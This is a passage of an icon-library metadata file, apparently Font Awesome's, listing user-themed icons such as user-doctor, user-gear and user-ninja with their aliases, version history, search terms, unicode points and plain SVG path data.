        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 0a128 128 0 1 1 0 256A128 128 0 1 1 224 0zM178.3 304h91.4c20.6 0 40.4 3.5 58.8 9.9C323 331 320 349.1 320 368c0 59.5 29.5 112.1 74.8 144H29.7C13.3 512 0 498.7 0 482.3C0 383.8 79.8 304 178.3 304zM352 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-80c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H512V304c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 0a128 128 0 1 1 0 256A128 128 0 1 1 224 0zM178.3 304h91.4c20.6 0 40.4 3.5 58.8 9.9C323 331 320 349.1 320 368c0 59.5 29.5 112.1 74.8 144H29.7C13.3 512 0 498.7 0 482.3C0 383.8 79.8 304 178.3 304zM352 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-80c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H512V304c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "user-doctor": {
    "aliases": {
      "names": ["user-md"],
      "unicodes": {
        "secondary": ["10f0f0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.3",
      "5.0.7",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "health",
        "job",
        "medical",
        "nurse",
        "occupation",
        "physician",
        "profile",
        "surgeon",
        "worker"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f0",
    "label": "User Doctor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-96 55.2C54 332.9 0 401.3 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7c0-81-54-149.4-128-171.1V362c27.6 7.1 48 32.2 48 62v40c0 8.8-7.2 16-16 16H336c-8.8 0-16-7.2-16-16s7.2-16 16-16V424c0-17.7-14.3-32-32-32s-32 14.3-32 32v24c8.8 0 16 7.2 16 16s-7.2 16-16 16H256c-8.8 0-16-7.2-16-16V424c0-29.8 20.4-54.9 48-62V304.9c-6-.6-12.1-.9-18.3-.9H178.3c-6.2 0-12.3 .3-18.3 .9v65.4c23.1 6.9 40 28.3 40 53.7c0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.4 16.9-46.8 40-53.7V311.2zM144 448a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-96 55.2C54 332.9 0 401.3 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7c0-81-54-149.4-128-171.1V362c27.6 7.1 48 32.2 48 62v40c0 8.8-7.2 16-16 16H336c-8.8 0-16-7.2-16-16s7.2-16 16-16V424c0-17.7-14.3-32-32-32s-32 14.3-32 32v24c8.8 0 16 7.2 16 16s-7.2 16-16 16H256c-8.8 0-16-7.2-16-16V424c0-29.8 20.4-54.9 48-62V304.9c-6-.6-12.1-.9-18.3-.9H178.3c-6.2 0-12.3 .3-18.3 .9v65.4c23.1 6.9 40 28.3 40 53.7c0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.4 16.9-46.8 40-53.7V311.2zM144 448a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "user-gear": {
    "aliases": {
      "names": ["user-cog"],
      "unicodes": {
        "secondary": ["10f4fe"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4fe",
    "label": "User Gear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 0a128 128 0 1 1 0 256A128 128 0 1 1 224 0zM178.3 304h91.4c11.8 0 23.4 1.2 34.5 3.3c-2.1 18.5 7.4 35.6 21.8 44.8c-16.6 10.6-26.7 31.6-20 53.3c4 12.9 9.4 25.5 16.4 37.6s15.2 23.1 24.4 33c15.7 16.9 39.6 18.4 57.2 8.7v.9c0 9.2 2.7 18.5 7.9 26.3H29.7C13.3 512 0 498.7 0 482.3C0 383.8 79.8 304 178.3 304zM436 218.2c0-7 4.5-13.3 11.3-14.8c10.5-2.4 21.5-3.7 32.7-3.7s22.2 1.3 32.7 3.7c6.8 1.5 11.3 7.8 11.3 14.8v30.6c7.9 3.4 15.4 7.7 22.3 12.8l24.9-14.3c6.1-3.5 13.7-2.7 18.5 2.4c7.6 8.1 14.3 17.2 20.1 27.2s10.3 20.4 13.5 31c2.1 6.7-1.1 13.7-7.2 17.2l-25 14.4c.4 4 .7 8.1 .7 12.3s-.2 8.2-.7 12.3l25 14.4c6.1 3.5 9.2 10.5 7.2 17.2c-3.3 10.6-7.8 21-13.5 31s-12.5 19.1-20.1 27.2c-4.8 5.1-12.5 5.9-18.5 2.4l-24.9-14.3c-6.9 5.1-14.3 9.4-22.3 12.8l0 30.6c0 7-4.5 13.3-11.3 14.8c-10.5 2.4-21.5 3.7-32.7 3.7s-22.2-1.3-32.7-3.7c-6.8-1.5-11.3-7.8-11.3-14.8V454.8c-8-3.4-15.6-7.7-22.5-12.9l-24.7 14.3c-6.1 3.5-13.7 2.7-18.5-2.4c-7.6-8.1-14.3-17.2-20.1-27.2s-10.3-20.4-13.5-31c-2.1-6.7 1.1-13.7 7.2-17.2l24.8-14.3c-.4-4.1-.7-8.2-.7-12.4s.2-8.3 .7-12.4L343.8 325c-6.1-3.5-9.2-10.5-7.2-17.2c3.3-10.6 7.7-21 13.5-31s12.5-19.1 20.1-27.2c4.8-5.1 12.4-5.9 18.5-2.4l24.8 14.3c6.9-5.1 14.5-9.4 22.5-12.9V218.2zm92.1 133.5a48.1 48.1 0 1 0 -96.1 0 48.1 48.1 0 1 0 96.1 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 0a128 128 0 1 1 0 256A128 128 0 1 1 224 0zM178.3 304h91.4c11.8 0 23.4 1.2 34.5 3.3c-2.1 18.5 7.4 35.6 21.8 44.8c-16.6 10.6-26.7 31.6-20 53.3c4 12.9 9.4 25.5 16.4 37.6s15.2 23.1 24.4 33c15.7 16.9 39.6 18.4 57.2 8.7v.9c0 9.2 2.7 18.5 7.9 26.3H29.7C13.3 512 0 498.7 0 482.3C0 383.8 79.8 304 178.3 304zM436 218.2c0-7 4.5-13.3 11.3-14.8c10.5-2.4 21.5-3.7 32.7-3.7s22.2 1.3 32.7 3.7c6.8 1.5 11.3 7.8 11.3 14.8v30.6c7.9 3.4 15.4 7.7 22.3 12.8l24.9-14.3c6.1-3.5 13.7-2.7 18.5 2.4c7.6 8.1 14.3 17.2 20.1 27.2s10.3 20.4 13.5 31c2.1 6.7-1.1 13.7-7.2 17.2l-25 14.4c.4 4 .7 8.1 .7 12.3s-.2 8.2-.7 12.3l25 14.4c6.1 3.5 9.2 10.5 7.2 17.2c-3.3 10.6-7.8 21-13.5 31s-12.5 19.1-20.1 27.2c-4.8 5.1-12.5 5.9-18.5 2.4l-24.9-14.3c-6.9 5.1-14.3 9.4-22.3 12.8l0 30.6c0 7-4.5 13.3-11.3 14.8c-10.5 2.4-21.5 3.7-32.7 3.7s-22.2-1.3-32.7-3.7c-6.8-1.5-11.3-7.8-11.3-14.8V454.8c-8-3.4-15.6-7.7-22.5-12.9l-24.7 14.3c-6.1 3.5-13.7 2.7-18.5-2.4c-7.6-8.1-14.3-17.2-20.1-27.2s-10.3-20.4-13.5-31c-2.1-6.7 1.1-13.7 7.2-17.2l24.8-14.3c-.4-4.1-.7-8.2-.7-12.4s.2-8.3 .7-12.4L343.8 325c-6.1-3.5-9.2-10.5-7.2-17.2c3.3-10.6 7.7-21 13.5-31s12.5-19.1 20.1-27.2c4.8-5.1 12.4-5.9 18.5-2.4l24.8 14.3c6.9-5.1 14.5-9.4 22.5-12.9V218.2zm92.1 133.5a48.1 48.1 0 1 0 -96.1 0 48.1 48.1 0 1 0 96.1 0z"
      }
    },
    "free": ["solid"]
  },
  "user-graduate": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f501"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f501",
    "label": "User Graduate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M219.3 .5c3.1-.6 6.3-.6 9.4 0l200 40C439.9 42.7 448 52.6 448 64s-8.1 21.3-19.3 23.5L352 102.9V160c0 70.7-57.3 128-128 128s-128-57.3-128-128V102.9L48 93.3v65.1l15.7 78.4c.9 4.7-.3 9.6-3.3 13.3s-7.6 5.9-12.4 5.9H16c-4.8 0-9.3-2.1-12.4-5.9s-4.3-8.6-3.3-13.3L16 158.4V86.6C6.5 83.3 0 74.3 0 64C0 52.6 8.1 42.7 19.3 40.5l200-40zM111.9 327.7c10.5-3.4 21.8 .4 29.4 8.5l71 75.5c6.3 6.7 17 6.7 23.3 0l71-75.5c7.6-8.1 18.9-11.9 29.4-8.5C401 348.6 448 409.4 448 481.3c0 17-13.8 30.7-30.7 30.7H30.7C13.8 512 0 498.2 0 481.3c0-71.9 47-132.7 111.9-153.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M219.3 .5c3.1-.6 6.3-.6 9.4 0l200 40C439.9 42.7 448 52.6 448 64s-8.1 21.3-19.3 23.5L352 102.9V160c0 70.7-57.3 128-128 128s-128-57.3-128-128V102.9L48 93.3v65.1l15.7 78.4c.9 4.7-.3 9.6-3.3 13.3s-7.6 5.9-12.4 5.9H16c-4.8 0-9.3-2.1-12.4-5.9s-4.3-8.6-3.3-13.3L16 158.4V86.6C6.5 83.3 0 74.3 0 64C0 52.6 8.1 42.7 19.3 40.5l200-40zM111.9 327.7c10.5-3.4 21.8 .4 29.4 8.5l71 75.5c6.3 6.7 17 6.7 23.3 0l71-75.5c7.6-8.1 18.9-11.9 29.4-8.5C401 348.6 448 409.4 448 481.3c0 17-13.8 30.7-30.7 30.7H30.7C13.8 512 0 498.2 0 481.3c0-71.9 47-132.7 111.9-153.6z"
      }
    },
    "free": ["solid"]
  },
  "user-group": {
    "aliases": {
      "names": ["user-friends"],
      "unicodes": {
        "composite": ["1f465"],
        "secondary": ["10f500"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bust", "busts in silhouette", "silhouette", "users-people"]
    },
    "styles": ["solid"],
    "unicode": "f500",
    "label": "User Group",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM609.3 512H471.4c5.4-9.4 8.6-20.3 8.6-32v-8c0-60.7-27.1-115.2-69.8-151.8c2.4-.1 4.7-.2 7.1-.2h61.4C567.8 320 640 392.2 640 481.3c0 17-13.8 30.7-30.7 30.7zM432 256c-31 0-59-12.6-79.3-32.9C372.4 196.5 384 163.6 384 128c0-26.8-6.6-52.1-18.3-74.3C384.3 40.1 407.2 32 432 32c61.9 0 112 50.1 112 112s-50.1 112-112 112z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM609.3 512H471.4c5.4-9.4 8.6-20.3 8.6-32v-8c0-60.7-27.1-115.2-69.8-151.8c2.4-.1 4.7-.2 7.1-.2h61.4C567.8 320 640 392.2 640 481.3c0 17-13.8 30.7-30.7 30.7zM432 256c-31 0-59-12.6-79.3-32.9C372.4 196.5 384 163.6 384 128c0-26.8-6.6-52.1-18.3-74.3C384.3 40.1 407.2 32 432 32c61.9 0 112 50.1 112 112s-50.1 112-112 112z"
      }
    },
    "free": ["solid"]
  },
  "user-injured": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f728"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f728",
    "label": "User Injured",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M240 80H342.7c-7.9-19.5-20.4-36.5-36.2-49.9L240 80zm37.7-68.2C261.3 4.2 243.2 0 224 0c-53.7 0-99.7 33.1-118.7 80h81.4l91-68.2zM224 256c70.7 0 128-57.3 128-128c0-5.4-.3-10.8-1-16H97c-.7 5.2-1 10.6-1 16c0 70.7 57.3 128 128 128zM124 312.4c-9.7 3.1-19.1 7-28 11.7V512H243.7L181.5 408.2 124 312.4zm33-7.2L204.3 384H272c44.2 0 80 35.8 80 80c0 18-6 34.6-16 48h82.3c16.4 0 29.7-13.3 29.7-29.7C448 383.8 368.2 304 269.7 304H178.3c-7.2 0-14.3 .4-21.3 1.3zM0 482.3C0 498.7 13.3 512 29.7 512H64V345.4C24.9 378.1 0 427.3 0 482.3zM320 464c0-26.5-21.5-48-48-48H223.5l57.1 95.2C303 507.2 320 487.6 320 464z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M240 80H342.7c-7.9-19.5-20.4-36.5-36.2-49.9L240 80zm37.7-68.2C261.3 4.2 243.2 0 224 0c-53.7 0-99.7 33.1-118.7 80h81.4l91-68.2zM224 256c70.7 0 128-57.3 128-128c0-5.4-.3-10.8-1-16H97c-.7 5.2-1 10.6-1 16c0 70.7 57.3 128 128 128zM124 312.4c-9.7 3.1-19.1 7-28 11.7V512H243.7L181.5 408.2 124 312.4zm33-7.2L204.3 384H272c44.2 0 80 35.8 80 80c0 18-6 34.6-16 48h82.3c16.4 0 29.7-13.3 29.7-29.7C448 383.8 368.2 304 269.7 304H178.3c-7.2 0-14.3 .4-21.3 1.3zM0 482.3C0 498.7 13.3 512 29.7 512H64V345.4C24.9 378.1 0 427.3 0 482.3zM320 464c0-26.5-21.5-48-48-48H223.5l57.1 95.2C303 507.2 320 487.6 320 464z"
      }
    },
    "free": ["solid"]
  },
  "user-large": {
    "aliases": {
      "names": ["user-alt"],
      "unicodes": {
        "secondary": ["10f406"]
      }
    },
    "changes": [
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f406",
    "label": "User Large",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 288A144 144 0 1 0 256 0a144 144 0 1 0 0 288zm-94.7 32C72.2 320 0 392.2 0 481.3c0 17 13.8 30.7 30.7 30.7H481.3c17 0 30.7-13.8 30.7-30.7C512 392.2 439.8 320 350.7 320H161.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 288A144 144 0 1 0 256 0a144 144 0 1 0 0 288zm-94.7 32C72.2 320 0 392.2 0 481.3c0 17 13.8 30.7 30.7 30.7H481.3c17 0 30.7-13.8 30.7-30.7C512 392.2 439.8 320 350.7 320H161.3z"
      }
    },
    "free": ["solid"]
  },
  "user-large-slash": {
    "aliases": {
      "names": ["user-alt-slash"],
      "unicodes": {
        "secondary": ["10f4fa"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4fa",
    "label": "User Large Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L381.9 274c48.5-23.2 82.1-72.7 82.1-130C464 64.5 399.5 0 320 0C250.4 0 192.4 49.3 178.9 114.9L38.8 5.1zM545.5 512H528L284.3 320h-59C136.2 320 64 392.2 64 481.3c0 17 13.8 30.7 30.7 30.7H545.3l.3 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L381.9 274c48.5-23.2 82.1-72.7 82.1-130C464 64.5 399.5 0 320 0C250.4 0 192.4 49.3 178.9 114.9L38.8 5.1zM545.5 512H528L284.3 320h-59C136.2 320 64 392.2 64 481.3c0 17 13.8 30.7 30.7 30.7H545.3l.3 0z"
      }
    },
    "free": ["solid"]
  },
  "user-lock": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f502"]
      }
    },
    "changes": ["5.0.11", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f502",
    "label": "User Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H392.6c-5.4-9.4-8.6-20.3-8.6-32V352c0-2.1 .1-4.2 .3-6.3c-31-26-71-41.7-114.6-41.7H178.3zM528 240c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H392.6c-5.4-9.4-8.6-20.3-8.6-32V352c0-2.1 .1-4.2 .3-6.3c-31-26-71-41.7-114.6-41.7H178.3zM528 240c17.7 0 32 14.3 32 32v48H496V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "user-minus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f503"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["delete", "negative", "remove"]
    },
    "styles": ["solid"],
    "unicode": "f503",
    "label": "User Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM472 200H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H472c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM472 200H616c13.3 0 24 10.7 24 24s-10.7 24-24 24H472c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "user-ninja": {
    "aliases": {
      "unicodes": {
        "composite": ["1f977"],
        "secondary": ["10f504"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "assassin",
        "avatar",
        "dangerous",
        "deadly",
        "fighter",
        "hidden",
        "ninja",
        "sneaky",
        "stealth"
      ]
    },
    "styles": ["solid"],
    "unicode": "f504",
    "label": "User Ninja",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256c-57.2 0-105.6-37.5-122-89.3c-1.1 1.3-2.2 2.6-3.5 3.8c-15.8 15.8-38.8 20.7-53.6 22.1c-8.1 .8-14.6-5.7-13.8-13.8c1.4-14.7 6.3-37.8 22.1-53.6c5.8-5.8 12.6-10.1 19.6-13.4c-7-3.2-13.8-7.6-19.6-13.4C37.4 82.7 32.6 59.7 31.1 44.9c-.8-8.1 5.7-14.6 13.8-13.8c14.7 1.4 37.8 6.3 53.6 22.1c4.8 4.8 8.7 10.4 11.7 16.1C131.4 28.2 174.4 0 224 0c70.7 0 128 57.3 128 128s-57.3 128-128 128zM0 482.3C0 399.5 56.4 330 132.8 309.9c6-1.6 12.2 .9 15.9 5.8l62.5 83.3c6.4 8.5 19.2 8.5 25.6 0l62.5-83.3c3.7-4.9 9.9-7.4 15.9-5.8C391.6 330 448 399.5 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM160 96c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 256c-57.2 0-105.6-37.5-122-89.3c-1.1 1.3-2.2 2.6-3.5 3.8c-15.8 15.8-38.8 20.7-53.6 22.1c-8.1 .8-14.6-5.7-13.8-13.8c1.4-14.7 6.3-37.8 22.1-53.6c5.8-5.8 12.6-10.1 19.6-13.4c-7-3.2-13.8-7.6-19.6-13.4C37.4 82.7 32.6 59.7 31.1 44.9c-.8-8.1 5.7-14.6 13.8-13.8c14.7 1.4 37.8 6.3 53.6 22.1c4.8 4.8 8.7 10.4 11.7 16.1C131.4 28.2 174.4 0 224 0c70.7 0 128 57.3 128 128s-57.3 128-128 128zM0 482.3C0 399.5 56.4 330 132.8 309.9c6-1.6 12.2 .9 15.9 5.8l62.5 83.3c6.4 8.5 19.2 8.5 25.6 0l62.5-83.3c3.7-4.9 9.9-7.4 15.9-5.8C391.6 330 448 399.5 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM160 96c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H160z"
      }
    },
    "free": ["solid"]
  },
  "user-nurse": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f82f"]
      }
    },
    "changes": ["5.7.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "doctor",
        "health",
        "md",
        "medical",
        "midwife",
        "physician",
        "practitioner",
        "surgeon",
        "worker"
      ]
    },
    "styles": ["solid"],
    "unicode": "f82f",
    "label": "User Nurse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 128V70.2c0-13.3 8.3-25.3 20.8-30l96-36c7.2-2.7 15.2-2.7 22.5 0l96 36c12.5 4.7 20.8 16.6 20.8 30V128h-.3c.2 2.6 .3 5.3 .3 8v40c0 70.7-57.3 128-128 128s-128-57.3-128-128V136c0-2.7 .1-5.4 .3-8H96zm48 48c0 44.2 35.8 80 80 80s80-35.8 80-80V160H144v16zM111.9 327.7c10.5-3.4 21.8 .4 29.4 8.5l71 75.5c6.3 6.7 17 6.7 23.3 0l71-75.5c7.6-8.1 18.9-11.9 29.4-8.5C401 348.6 448 409.4 448 481.3c0 17-13.8 30.7-30.7 30.7H30.7C13.8 512 0 498.2 0 481.3c0-71.9 47-132.7 111.9-153.6zM208 48V64H192c-4.4 0-8 3.6-8 8V88c0 4.4 3.6 8 8 8h16v16c0 4.4 3.6 8 8 8h16c4.4 0 8-3.6 8-8V96h16c4.4 0 8-3.6 8-8V72c0-4.4-3.6-8-8-8H240V48c0-4.4-3.6-8-8-8H216c-4.4 0-8 3.6-8 8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 128V70.2c0-13.3 8.3-25.3 20.8-30l96-36c7.2-2.7 15.2-2.7 22.5 0l96 36c12.5 4.7 20.8 16.6 20.8 30V128h-.3c.2 2.6 .3 5.3 .3 8v40c0 70.7-57.3 128-128 128s-128-57.3-128-128V136c0-2.7 .1-5.4 .3-8H96zm48 48c0 44.2 35.8 80 80 80s80-35.8 80-80V160H144v16zM111.9 327.7c10.5-3.4 21.8 .4 29.4 8.5l71 75.5c6.3 6.7 17 6.7 23.3 0l71-75.5c7.6-8.1 18.9-11.9 29.4-8.5C401 348.6 448 409.4 448 481.3c0 17-13.8 30.7-30.7 30.7H30.7C13.8 512 0 498.2 0 481.3c0-71.9 47-132.7 111.9-153.6zM208 48V64H192c-4.4 0-8 3.6-8 8V88c0 4.4 3.6 8 8 8h16v16c0 4.4 3.6 8 8 8h16c4.4 0 8-3.6 8-8V96h16c4.4 0 8-3.6 8-8V72c0-4.4-3.6-8-8-8H240V48c0-4.4-3.6-8-8-8H216c-4.4 0-8 3.6-8 8z"
      }
    },
    "free": ["solid"]
  },
  "user-pen": {
    "aliases": {
      "names": ["user-edit"],
      "unicodes": {
        "secondary": ["10f4ff"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4ff",
    "label": "User Pen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H322.8c-3.1-8.8-3.7-18.4-1.4-27.8l15-60.1c2.8-11.3 8.6-21.5 16.8-29.7l40.3-40.3c-32.1-31-75.7-50.1-123.9-50.1H178.3zm435.5-68.3c-15.6-15.6-40.9-15.6-56.6 0l-29.4 29.4 71 71 29.4-29.4c15.6-15.6 15.6-40.9 0-56.6l-14.4-14.4zM375.9 417c-4.1 4.1-7 9.2-8.4 14.9l-15 60.1c-1.4 5.5 .2 11.2 4.2 15.2s9.7 5.6 15.2 4.2l60.1-15c5.6-1.4 10.8-4.3 14.9-8.4L576.1 358.7l-71-71L375.9 417z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H322.8c-3.1-8.8-3.7-18.4-1.4-27.8l15-60.1c2.8-11.3 8.6-21.5 16.8-29.7l40.3-40.3c-32.1-31-75.7-50.1-123.9-50.1H178.3zm435.5-68.3c-15.6-15.6-40.9-15.6-56.6 0l-29.4 29.4 71 71 29.4-29.4c15.6-15.6 15.6-40.9 0-56.6l-14.4-14.4zM375.9 417c-4.1 4.1-7 9.2-8.4 14.9l-15 60.1c-1.4 5.5 .2 11.2 4.2 15.2s9.7 5.6 15.2 4.2l60.1-15c5.6-1.4 10.8-4.3 14.9-8.4L576.1 358.7l-71-71L375.9 417z"
      }
    },
    "free": ["solid"]
  },
  "user-plus": {
    "aliases": {
